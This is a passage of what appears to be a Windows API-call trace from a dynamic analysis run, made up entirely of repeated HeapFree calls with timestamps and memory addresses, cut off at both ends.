dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.547] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.549] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.549] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.556] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.561] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.565] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.572] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.580] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.589] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.594] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.601] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.610] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.647] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.651] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.812] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0167.033] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0167.033] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0167.193] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.195] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.195] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0167.197] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0167.199] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0167.201] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.201] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0167.201] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0167.201] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.201] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0167.293] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.294] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0167.298] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0167.301] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0167.301] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0167.301] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0167.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0167.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0167.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0167.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4120f98 | out: hHeap=0x420000) returned 1 [0167.416] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4120f98 | out: hHeap=0x420000) returned 1 [0167.430] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4120f98 | out: hHeap=0x420000) returned 1 [0167.430] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0167.837] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0168.077] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0168.078] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0168.078] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0168.078] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0168.084] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0168.085] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0168.088] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0168.088] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0168.088] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0168.125] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0168.393] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0169.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0169.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0169.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0169.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0169.444] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0170.437] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0170.606] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0171.664] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0171.708] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0171.767] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0171.767] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0171.767] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0171.768] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0171.768] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0171.768] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0171.790] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.521] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.534] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.557] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.563] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.564] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.565] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.567] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.567] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.569] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.570] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.571] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.572] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.573] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.574] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.576] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.577] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.578] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.579] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.580] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.580] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.580] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.581] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.582] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.583] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.583] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.584] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.586] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.587] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.590] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0172.591] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0172.628] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0173.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.132] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0173.136] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0173.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0173.138] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.143] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0173.355] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0173.358] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0173.727] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0173.727] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0173.949] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0174.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0174.175] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0174.182] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0174.182] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0174.208] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.213] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.218] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0174.223] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0174.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.228] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0174.231] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0174.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0174.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0174.242] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.242] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.284] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.287] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0174.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0174.295] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0174.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0174.306] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0174.371] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0174.371] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb08d0 | out: hHeap=0x420000) returned 1 [0174.373] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0174.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.382] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.390] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0174.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.392] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.819] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0174.824] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0175.119] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.122] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.124] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0175.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.128] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.128] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.129] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.130] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.132] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.133] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.134] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.134] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.139] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.140] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.140] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.141] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.142] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.142] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.143] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.144] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.144] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.145] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.146] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.147] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.148] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.149] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.151] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.152] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.153] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.153] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.154] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.155] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.156] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.157] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.157] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.158] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.158] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.159] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.159] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.160] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.246] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.249] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0175.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0175.266] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.266] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.266] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.266] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.267] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.267] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.267] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.268] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.268] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.268] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.269] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.269] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.269] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.270] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.270] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.270] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.270] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.270] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.271] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.271] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.271] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0175.271] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.271] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.274] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.274] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.274] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0175.274] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0175.274] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.274] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0175.278] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.278] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0175.590] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4101f90 | out: hHeap=0x420000) returned 1 [0175.590] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0175.616] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: 